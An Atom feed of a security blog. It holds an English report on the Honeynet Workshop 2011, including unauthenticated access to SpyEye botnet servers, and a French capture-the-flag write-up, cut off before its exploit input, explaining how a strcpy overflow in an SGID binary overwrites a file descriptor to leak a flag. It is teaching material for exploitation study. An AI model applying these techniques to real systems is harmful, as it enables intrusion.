<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" gd:etag="W/&quot;DUADSHY-fSp7ImA9WhdWEkg.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799</id><updated>2011-09-05T17:22:59.855-04:00</updated><category term="fuzzing" /><category term="hackfest" /><category term="tools" /><category term="advisory" /><category term="gdb" /><category term="exploitation" /><category term="assessment" /><category term="debugging" /><category term="mots de passe" /><category term="spam" /><category term="analyse" /><category term="honeynet workshop" /><category term="hacking" /><category term="fuite information" /><category term="CSRF" /><category term="fail" /><category term="defcon" /><category term="donkeys" /><category term="open redirect" /><category term="datalossdb" /><category term="bruteforce" /><category term="presentation" /><category term="binary" /><category term="code review" /><title>Solution 36</title><subtitle type="html">avec un peu d'imagination ...</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>24</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/intheknow-security" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="intheknow-security" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;C0QASHc7eyp7ImA9WhZSFEU.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-3799834058151646338</id><published>2011-03-30T06:35:00.000-04:00</published><updated>2011-03-30T06:35:49.903-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-30T06:35:49.903-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="honeynet workshop" /><title>Honeynet Workshop 2011</title><content type="html">&lt;blockquote&gt;Note : This is a cross-post from the &lt;a href="http://www.corelan.be/index.php/2011/03/30/honeynet-workshop-2011/"&gt;Corelan Team blog&lt;/a&gt;.&lt;/blockquote&gt;&lt;br /&gt;
&lt;h3&gt;Introduction&lt;/h3&gt;March 21th I was in Paris for the annual Honeynet Workshop. For the  first time this year there was a conference day accessible to the  general public. Moreover, I didn't have to pay the registration fee  since I successfully completed one of the &lt;a _mce_href="http://www.honeynet.org/challenges" href="http://www.honeynet.org/challenges" title="Honeynet Challenges"&gt;Honeynet Forensics challenges&lt;/a&gt;.  The day was split in 4 sessions and had talks covering the Honeynet  projects, malware, and ethical and legal considerations of tracking  botnets and eventual take-downs.&lt;br /&gt;
&lt;br /&gt;
There was also a CTF taking place during the day so I didn't take as  much notes as I wanted, this is also&amp;nbsp; why I will not be covering all the  talks in this article.&lt;br /&gt;
All the slides are available here : &lt;a _mce_href="http://www.honeynet.org/node/626" href="http://www.honeynet.org/node/626"&gt;http://www.honeynet.org/node/626&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;R&amp;amp;D in Honeynet Project by David Watson&lt;/h3&gt;&lt;a _mce_href="http://www.corelan.be/wp-content/uploads/2011/03/P1000761.jpg" class="thickbox" href="http://www.corelan.be/wp-content/uploads/2011/03/P1000761.jpg"&gt;&lt;img _mce_src="http://www.corelan.be/wp-content/uploads/2011/03/P1000761_thumb.jpg" _mce_style="background-image: none; margin: 7px; padding-left: 0px; padding-right: 0px; display: inline; float: left; padding-top: 0px; border: 0px;" align="left" alt="P1000761" border="0" height="310" src="http://www.corelan.be/wp-content/uploads/2011/03/P1000761_thumb.jpg" style="background-image: none; border: 0px none; display: inline; float: left; margin: 7px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="P1000761" width="413" /&gt;&lt;/a&gt;The  first talk presented some of the current Honeynet projects. Through the  years the Honeynet Project has been a major player in the domain of  botnet tracking with the release of numerous open-source honeypots and  articles on the subject. &lt;br /&gt;
Hopefully, projects are still very active in part with the help of the &lt;a _mce_href="http://www.google-melange.com/gsoc/org/google/gsoc2011/honeynet" href="http://www.google-melange.com/gsoc/org/google/gsoc2011/honeynet"&gt;Google Summer of Code&lt;/a&gt;  for which the Honeynet Project is a mentoring organization. By the way,  if you are a full-time university student and would like to be paid to  work on some kickass open-source software, the Honeynet project was  selected again this year and the application period starts March 28th.&lt;br /&gt;
&lt;br /&gt;
As a quick reminder, an important concept with honeypots is the distinction between &lt;em&gt;high-interaction&lt;/em&gt; and &lt;em&gt;low-interaction&lt;/em&gt; honeypots. &lt;br /&gt;
&lt;strong&gt;Low-interaction&lt;/strong&gt; means that the honeypot is not relying on the original system but is emulating it. &lt;strong&gt;High-interaction&lt;/strong&gt;  honeypots usually are implemented as addons, for example through a  kernel module, that tracks the internal changes to the system.&lt;br /&gt;
&lt;br /&gt;
Both approaches have their advantages, low-interaction is usually  safer since it is emulating the system being attacked and is thus not  vulnerable to the flaws in that system. It usually scales better since  it is emulating only the parts needed and thus requires less resources,  as opposed to high-interaction   &lt;br /&gt;
honeypots that often require a complete virtual machine. &lt;br /&gt;
On the other side, high-interaction honeypots are better at  discovering unknown flaws (0days).&amp;nbsp; Depending on the complexity of the  target system, the implementation of a high-interaction honeypot might  take less time than writing an emulation stack for it.&lt;br /&gt;
&lt;br /&gt;
The first project presented by David was &lt;strong&gt;Dionanea&lt;/strong&gt;, a  low-interaction honeypot that aims to replace Nepenthes which is a  popular Honeynet software. The fact that is it using Python makes it  easier to extend than Nepenthes which was written in C++. It is  integrating libemu for automated shellcode detection. Also, it has a SQL  interface which make it easier to query the results as opposed to  parsing the log files.&lt;br /&gt;
&lt;br /&gt;
The second project David talked about is &lt;strong&gt;Sebek&lt;/strong&gt;. It  is a high-interaction honeypot which integrates in the kernel of  Windows. It currently uses SSDT hooking for tracing which is a technique  used by rootkits (proof that techniques and knowledge is not malicious  by itself).&lt;br /&gt;
&lt;br /&gt;
David mentioned they want to change the hooking to inline kernel  modifications to make it stealthier. The replacement version of this  project is called &lt;strong&gt;Qebek&lt;/strong&gt; it uses QEMU and relies on  breakpoint to monitor events, making it possible for example to see the  keystrokes on the system as they happen. I don't know if the authors of  this software are aware of the fact that the project name sounds a lot  like Québec which is the state where I come from (and also the name of a  project which you will learn about in the upcoming weeks/months, stay  tuned!).&lt;br /&gt;
&lt;br /&gt;
Another Honeynet project is &lt;strong&gt;Capture-HPC&lt;/strong&gt; which is a  client-side honeypot (ie browsers) that uses VMware. The fact that it  relies on virtual machines make it hard to scale. That's where &lt;strong&gt;PhoneyC&lt;/strong&gt;  comes in. It is written in Python and supports personalities to modify  the behaviour of the browser. It uses Spidermonkey as the Javascript  engine and also has support to mock ActiveX controls. It also uses  libemu like Dionanea for shellcode detection. Later during the day  Angelo Dell'Aera, the author of the software, mentioned that he is  actually working to switch to the V8 javascript engine (the one used in  Chrome) since Spidermonkey has a very limited API which makes it hard to  extend.&lt;br /&gt;
&lt;br /&gt;
Finally, &lt;strong&gt;Glastopf&lt;/strong&gt; is a web honeypot that emulates a  web server and is useful to detect vulnerabilities like RFI, LFI, SQL  injection. The author of the project Lukas Rist did a little live  demonstration of his tool running on one of his webservers and we could  see attacks coming in every few seconds.&lt;br /&gt;
As you can see there are a lot of great honeypots being developed by the &lt;a _mce_href="http://honeynet.org/" href="http://honeynet.org/"&gt;Honeynet project&lt;/a&gt;, make sure you have a look at them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;Efficient Analysis of Malicious Bytecode Linespeed Shellcode Detection and Fast Sandboxing by Georg 'oxff' Wicherski&lt;/h3&gt;In this talk, Georg presented a shellcode detection library he  designed and explained some its inner working. He started with a quick  overview of what shellcodes are and how they are made  position-independent via a GetPC sequence.&lt;br /&gt;
&lt;br /&gt;
Apart from the traditional call-pop sequence which is the standard  one, he also mentioned the use of floating point instructions, namely &lt;strong&gt;fnop&lt;/strong&gt; and &lt;strong&gt;fnstenv&lt;/strong&gt; to get the current address, a technique I wasn't aware of.&lt;br /&gt;
&lt;br /&gt;
Georg then explained the differences between two current approaches for shellcode detection, namely &lt;em&gt;statistical methods&lt;/em&gt; and &lt;em&gt;pattern matching&lt;/em&gt;.  Statistical methods rely on the likelihood of a sequence of  instructions to exist in or outside shellcode, kind of like bayesian  filters work to detect spam. This method requires training and is also  false negative and false positive prone.&lt;br /&gt;
&lt;br /&gt;
For these reasons, Georg preferred to implement a method based on  GetPC sequence identification and then emulation of the instructions  preceding the GetPC sequence to remove false positives.&lt;br /&gt;
&lt;br /&gt;
Georg implemented this in a library named &lt;strong&gt;libscizzle&lt;/strong&gt;.  It uses libemu for emulation. Since one of the project goals was  performance, It also uses sandboxed hardware execution to make it  faster.&lt;br /&gt;
&lt;br /&gt;
Georg mentioned that he successfully used this library in CTFs (Defcon, RuCTFe). The library is available for &lt;a _mce_href="http://code.mwcollect.org/projects/libscizzle" href="http://code.mwcollect.org/projects/libscizzle"&gt;download here&lt;/a&gt;  in the form of a pre-compiled shared object (Unix DLL equivalent) some  header files and a little test application, the source code is not  available.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;High Performance Packet Sniffing by Tillmann Werner&lt;/h3&gt;In this talk Tillman explained the design and the need for two tools he wrote : &lt;strong&gt;multicap&lt;/strong&gt; and &lt;strong&gt;streams&lt;/strong&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;multicap&lt;/strong&gt; is a tool to do high-performance packet  sniffing to avoid dropped packets. To increase performance, Tillman used  a ring-buffer to reduce memory allocations. He also used the &lt;em&gt;PF_PACKET &lt;/em&gt;socket  which has the advantage of already including the timestamp in the  packet, removing the need to call the localtime() function for every  packet. Finally multicap uses memory-mapped files to dump the packets  which should increase performance. Tillman did a quick demo of his tool.  A comparison of the performance with existing tools like tcpdump and  dumpcap would have been nice.&lt;br /&gt;
&lt;br /&gt;
The second tool is &lt;strong&gt;streams&lt;/strong&gt;. It does TCP stream  reassembly for a packet trace (pcap file), in a similar way to the  "Reassemble TCP Stream" feature of Wireshark. multicap is interactive  and makes it possible to filter or search the streams. &lt;br /&gt;
&lt;br /&gt;
Both tools are open-source and available here :&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;multicap &lt;a _mce_href="http://src.carnivore.it/multicap/" href="http://src.carnivore.it/multicap/"&gt;http://src.carnivore.it/multicap/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;streams &lt;a _mce_href="http://src.carnivore.it/streams/" href="http://src.carnivore.it/streams/"&gt;http://src.carnivore.it/streams/ &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;Basics of Honeyclients by Angelo Dell'Aera and Christian Seifert&lt;/h3&gt;This talk was dealing with two complementary subjects : the rise of  client-side attacks and the tools developed by the Honeynet project to  detect those attacks. As I already talked a bit about PhoneyC and  Capture-HPC in the first section of this article, I will focus mostly on  the second part of the talk.&lt;br /&gt;
&lt;br /&gt;
Since a couple of years already there is a shift in attacks to  client-side applications (browsers, Flash, Adobe Reader, Java etc.).  Keeping client applications and all associated plugins up to date is a  challenge for a lot of users and entreprises and as Christian mentioned,  client applications are driven by end-users which remain the  weakest-link of the security chain.&lt;br /&gt;
&lt;br /&gt;
The talk then explained how cyber-criminals are using the web to distribute malware via &lt;strong&gt;Malware Distribution Networks&lt;/strong&gt;. Christian presented a diagram taken from Microsoft Security Intelligence Threat report which I found really interesting.&lt;br /&gt;
&lt;a _mce_href="http://www.corelan.be/wp-content/uploads/2011/03/mdn.png" class="thickbox" href="http://www.corelan.be/wp-content/uploads/2011/03/mdn.png"&gt;&lt;img _mce_src="http://www.corelan.be/wp-content/uploads/2011/03/mdn_thumb.png" _mce_style="background-image: none; margin: 7px; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border: 0px;" alt="mdn" border="0" height="320" src="http://www.corelan.be/wp-content/uploads/2011/03/mdn_thumb.png" style="background-image: none; border: 0px none; display: inline; margin: 7px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="mdn" width="540" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;em&gt;Source: Microsoft Security Intelligence Threat Report (http://www.microsoft.com/sir)&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
The attacks generally use multiple layers of servers. &lt;br /&gt;
The first one consists of compromised web servers (often via  unpatched vulnerabilities in popular applications) which links to  another server, most of the time via injected iframes.&amp;nbsp; That second  server, known as the &lt;em&gt;redirector&lt;/em&gt;, will embed or redirect to  another server which contains an exploit kit. If one of the exploit  succeeds, it will download and install some malware from yet another  server.&lt;br /&gt;
&lt;br /&gt;
Generally a lot of infected sites point to the same exploit server,  the quantity of traffic diverted to them determines their effectiveness.  Having multiple legitimate servers linking to a redirector also  increase it's ranking in search engines and can be further increased via  SEO campaigns.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Microsoft estimates that 2.8% of exploit servers are responsible for  84% of drive-by-download. What is particularly noteworthy is the fact  that the infection links usually remain active for only a few days or  even hours; by the time the links are flagged as malicious by lists such  as Google SafeBrowsing or McAfee SiteAdvisor they are often already  inactive. This also makes the task harder for security companies to  retrieve the malicious content. The use of Javascript obfuscation is further complicating the task of researchers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;Spy VS Spy : Countering SpyEye with SpyEye by Lance James&lt;/h3&gt;The last talk of the day dealt with &lt;strong&gt;SpyEye&lt;/strong&gt;, a botnet kit which generated a lot of buzz lately since it is supposedly merging with ZeuS. &lt;br /&gt;
&lt;br /&gt;
SpyEye is a kit cyber-criminals can buy for around 1000 to 3000 US$.  It is customizable and comes with modules to steal credit card numbers  and credentials via formgrabbing in browsers, harvesting of credentials  for FTP, POP etc. ... in summary it's pretty nasty. It also comes with a  web panel where crooks can see the bots they are controlling and the  information they gathered.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Lance then explained that in the current version, a lot of files on  the C&amp;amp;C server are world-readable via the AJAX interface, including  debug logs, configuration files and SQL backups. When connecting via the  web panel a password is requested, an although Lance had the password  from the SQL backup it would be illegal for him to connect in the USA.  However, it is possible to connect a local SpyEye instance to a remote  server (proxy mode) with no authentication whatsoever. Another advantage of this technique is that the botnet information is updated in the web panel in real-time. Pretty neat :)&lt;br /&gt;
&lt;br /&gt;
Lance also presented statistics regarding the botnet he tracked. It  was discovered in October 2010 and infected 28,590 unique computers.  When you consider the quantity of information that was probably stolen  during such a short period of time and the potential economical gain, it  is not hard to understand why cybercrime is so popular.&lt;br /&gt;
&lt;br /&gt;
The question of laws and ethics also came in this talk. Lance  repeated numerous time that we are at a point where "Defense is dead"  and we need to gain visibility. There is an increase in aggressive  attacks on big companies, government and even security firms (think  HBGary). The threat is growing exponentially and diversifying into  politically oriented stuff. Other attendees joined the discussion and  there was evident frustration and discontent with the fact that  researchers need to combat adversaries that have no respect of the laws  and ethic principles and stay for most of them out of reach of the legal  system, while the researchers need to subject themselves to high  standard of ethics (especially with regards to privacy) and evaluate  their every moves to make sure they are not putting themselves in legal  trouble.&lt;br /&gt;
&lt;br /&gt;
I really had a good time attending the Honeynet Workshop, it was  great to have a glimpse of the Honeynet Project from the inside.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-3799834058151646338?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/iIwHyCojUBE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/3799834058151646338/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2011/03/honeynet-workshop-2011.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/3799834058151646338?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/3799834058151646338?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2011/03/honeynet-workshop-2011.html" title="Honeynet Workshop 2011" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;CUUER30zeCp7ImA9Wx5aEko.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-2773437427671014272</id><published>2010-11-08T22:26:00.000-05:00</published><updated>2010-11-08T22:26:46.380-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-11-08T22:26:46.380-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="hackfest" /><category scheme="http://www.blogger.com/atom/ns#" term="exploitation" /><title>Solution ExecUS #4 du Hackfest 2010</title><content type="html">Ce weekend se tenait le &lt;a href="http://hackfest.ca/"&gt;Hackfest 2010&lt;/a&gt; à Québec et le samedi soir son traditionnel concours de sécurité. Notre équipe a terminé en 2e place, félicitations à nos bons amis d'Amish Security qui l'ont emporté haut la main.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;NOTE: j'utilise ici une  version recompilée du binaire, les adresses qui apparaissent dans cette  solution ne sont probablement pas les mêmes que celles du binaire  original. Si vous voulez l'essayer sur un Linux récent, assurez vous de  désactiver le mode SSP :&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;gcc -fno-stack-protector -o execus4 execus4.c&lt;/span&gt;&amp;nbsp;&lt;/div&gt;&lt;br /&gt;
Cet article présente la solution de l'épreuve ExecUS #4, dont voici le code :&lt;br /&gt;
&lt;br /&gt;
&lt;script src="http://pastebin.com/embed_js.php?i=bwQ7N5WP"&gt;
&lt;/script&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;Le programme ouvre le fichier flag.txt (j'ai changé le nom mais le principe reste le même) contenant le flag et le copie dans /dev/null. Le fichier flag.txt&amp;nbsp;  n'est pas accessible directement, mais le binaire est configuré avec le  bit SGID et le groupe y a accès en lecture.&lt;br /&gt;
&lt;br /&gt;
À la ligne 27, on observe un cas de buffer overflow très standard puisque la taille de argv[1] ne fait l'objet d'aucune vérification au préalable.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;strcpy(buf, argv[1]); &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: inherit;"&gt;En observant l'ordre de déclaration des variables, &lt;/span&gt;il est probable que la variable &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ofd&lt;/span&gt; puisse être écrasée, ce que nous pouvons vérifier désassemblant le code :&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;804856a:&amp;nbsp;&amp;nbsp; &amp;nbsp;e8 41 fe ff ff&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;call&amp;nbsp;&amp;nbsp; 80483b0 &amp;lt;&lt;b&gt;open&lt;/b&gt;@plt&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;804856f:&amp;nbsp;&amp;nbsp; &amp;nbsp;89 84 24 28 01 00 00 &amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,0x128(%esp)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;8048576:&amp;nbsp;&amp;nbsp; &amp;nbsp;c7 44 24 04 01 00 00 &amp;nbsp;&amp;nbsp; &amp;nbsp;movl&amp;nbsp;&amp;nbsp; $0x1,0x4(%esp)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;804857d:&amp;nbsp;&amp;nbsp; &amp;nbsp;00 &lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;804857e:&amp;nbsp;&amp;nbsp; &amp;nbsp;8d 44 24 1a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;lea&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x1a(%esp),%eax&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;8048582:&amp;nbsp;&amp;nbsp; &amp;nbsp;89 04 24&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,(%esp)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;8048585:&amp;nbsp;&amp;nbsp; &amp;nbsp;e8 26 fe ff ff&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;call&amp;nbsp;&amp;nbsp; 80483b0 &amp;lt;&lt;b&gt;open&lt;/b&gt;@plt&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;804858a:&amp;nbsp;&amp;nbsp; &amp;nbsp;89 84 24 24 01 00 00 &amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,&lt;span style="color: red;"&gt;0x124&lt;/span&gt;(%esp)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;8048591:&amp;nbsp;&amp;nbsp; &amp;nbsp;8b 45 0c&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xc(%ebp),%eax&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;8048594:&amp;nbsp;&amp;nbsp; &amp;nbsp;83 c0 04&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x4,%eax&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;8048597:&amp;nbsp;&amp;nbsp; &amp;nbsp;8b 00&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; (%eax),%eax&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;8048599:&amp;nbsp;&amp;nbsp; &amp;nbsp;89 44 24 04&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,0x4(%esp)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;804859d:&amp;nbsp;&amp;nbsp; &amp;nbsp;8d 44 24 24&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;lea&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: red;"&gt;0x24&lt;/span&gt;(%esp),%eax&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;80485a1:&amp;nbsp;&amp;nbsp; &amp;nbsp;89 04 24&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,(%esp)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;80485a4:&amp;nbsp;&amp;nbsp; &amp;nbsp;e8 57 fe ff ff&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;call&amp;nbsp;&amp;nbsp; 8048400 &amp;lt;&lt;b&gt;strcpy&lt;/b&gt;@plt&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: inherit;"&gt;Comme on peut le voir, le résultat du 2e appel à open qui ouvre&lt;/span&gt; &lt;i&gt;/dev/null&lt;/i&gt; en écriture est écrit à ESP+0x124 (&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ofd&lt;/span&gt;) et l'adresse à laquelle strcpy écrit (&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;buf&lt;/span&gt;) est ESP+0x24. La variable &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ofd&lt;/span&gt; est donc situé 0x100 octets après &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;buf&lt;/span&gt;, Convertit en décimal l'espace est de 256 octets, ce qui correspond à la longueur de &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;buf&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
On peut donc écraser &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ofd&lt;/span&gt;, mais en quoi celà peut nous être est utile ? Pour le comprendre, il faut se référer au fonctionnement d'UNIX. La variable ofd contient ce qu'on appelle un &lt;a href="http://en.wikipedia.org/wiki/File_descriptor"&gt;descripteur de fichier&lt;/a&gt; qui est un index dans la table des fichiers ouverts par le processus. Pour tous les processus, le système d'exploitation crée les descripteurs spéciaux suivants :&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Entrée standard (stdin)&amp;nbsp; : 0&lt;/span&gt;&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Sortie standard (stdout) : 1&lt;/div&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Sortie d'erreur (stderr) : 2&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
